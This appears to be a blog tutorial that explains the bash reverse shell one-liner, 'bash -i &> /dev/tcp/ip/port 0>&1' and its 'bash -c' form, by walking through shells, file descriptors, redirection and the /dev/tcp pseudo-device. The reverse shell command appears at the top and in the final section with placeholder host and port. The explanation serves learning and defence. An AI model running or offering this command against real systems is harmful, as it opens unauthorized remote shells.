Understanding Linux Reverse Shell Techniques

# Analysis of common bash reverse shell from first principles
bash -i &> /dev/tcp/ip/port 0>&1
bash -c 'bash -i &> /dev/tcp/ip/port 0>&1'

  1. What Exact is a Shell?

A "Shell" is a collective term for various command interpreters, where built-in commands are processed by the currently active Shell program.

The core function of a Shell is to act as an interpreter: it receives user commands (such as ls, cd), parses them, passes them to the Linux kernel for execution, and returns the results to the user.

Think of "Shell" as a category of tools, similar to how "smartphone" is a category containing various brands, not a single unified device.

You actually use specific Shell programs (like /bin/bash, /bin/dash, /bin/zsh, /bin/sh), which are independent programs belonging to the Shell category.

For example, /bin/sh was one of the earliest Shell implementations (Bourne Shell, 1979), historically the standard Shell on Unix/Linux systems. However, in many modern Linux distributions, /bin/sh is now a smybolic link pointing to more modern Shells:

  • In Ubuntu/Debian: typically points to dash (lightweight, POSIX-compliant)
  • In CentOS/RHEL: typically points to bash (enhanced Bourne Shell)

When you type bash in terminal, you switch to the /bin/bash Shell; typing zsh switches to /bin/zsh - these are different programs, not a single entity.

Command Execution Process:

  1. Read
  2. Parse
  3. Execute
  4. Post-execute

Execution details:

1. Built-in Commands: Shell executes directly
   If command is built-in (cd, echo, export), Shell calls internal functions
   Example: cd /tmp modifies current directory directly

2. External Commands: Create subprocess
   Shell searches $PATH for executable
   Creates child process via fork()
   Child uses execve() to load and execute program
   Parent waits for completion (foreground) or continues (background with &)

When switching to bash with bash, you gain additional features like /dev/tcp support, wich sh typically lacks.

Common Linux Shell types:

1) Bourne Shell (sh): Original Unix Shell, minimal features
2) C Shell (csh) & tcsh: C-style syntax, job control, history
3) Korn Shell (ksh): Combines sh and csh features, POSIX compliant
4) Bourne Again Shell (bash): Enhanced sh with interactive features
5) Z Shell (zsh): bash extension with themes, plugins, advanced completion

Use type or command -V to determine if a command is built-in or external.

  1. Understanding File Descriptors

In Linux, everything is a file. The kernel uses a structure array to manage open files, where each array index is a file descriptor (FD). Processes use FDs to operate on files.

Default File Descriptors:

  • 0 (stdin): Standard input (default: keyboard)
  • 1 (stdout): Standard output (default: terminal)
  • 2 (stderr): Standard error (default: terminal)

Redirection Operators:

> - Output redirection (equivalent to 1>)

Example: echo "hello" > test.txt - Redirects stdout to file (overwrites)

>> - Append output redirection (equivalent to 1>>)

Example: echo "world" >> test.txt - Appends to file

< - Input redirection (equivalent to 0<)

Example: cat < 1.txt - Reads from file instead of keyboard

>& - Output descriptor redirection

Syntax: n>&m - Redirect FD n to FD m's destination

echo "error" > output.txt 2>&1
# Process:
# 1. Redirect stdout (1) to output.txt
# 2. Redirect stderr (2) to stdout's current destination (output.txt)

<& - Input descriptor redirection

Syntax: n<&m - Redirect FD n's input from FD m's source

  1. The /dev/tcp Pseudo-Device

/dev/tcp is not a real device file but a Bash-specific pseudo-device for TCP networking. It enables direct TCP connections in shell scripts without external tools.

Working Principle:

When Bash encounters /dev/tcp/host/port in redirection:

  1. Parses hostname and port
  2. Establishes TCP connection
  3. Associates file descriptor with the connection
  4. Enables file-like read/write operations

Basic Usage:

# Open bidirectional connection using FD 3
exec 3<>/dev/tcp/192.168.1.100/8080

# Send HTTP request
echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.100\r\nConnection: close\r\n\r\n" >&3

# Read response
cat <&3

The <> operator opens the resource for both reading and writing, associating it with the specified file descriptor.

  1. Reverse Shell Command Analysis

bash -i &> /dev/tcp/ip/port 0>&1

Breakdown:

  • bash -i: Launches interactive shell
  • &>: Syntactic sugar for > target 2>&1
    • First redirects stdout (1) to target
    • Then redirects stderr (2) to stdout's destination
  • 0>&1: Redirects stdin (0) to stdout's current destination (the network socket)

Note: 0>&1 works for bidirectional TCP connections, though 0<&1 might seem more logical for input redirection.

Why use bash -c?

The /dev/tcp feature is Bash-specific. When executing from other shells (like sh), we need bash -c to execute the command string in a Bash environment:

bash -c 'bash -i &> /dev/tcp/ip/port 0>&1'

Posted on Thu, 28 May 2026 21:01:40 +0000 by billman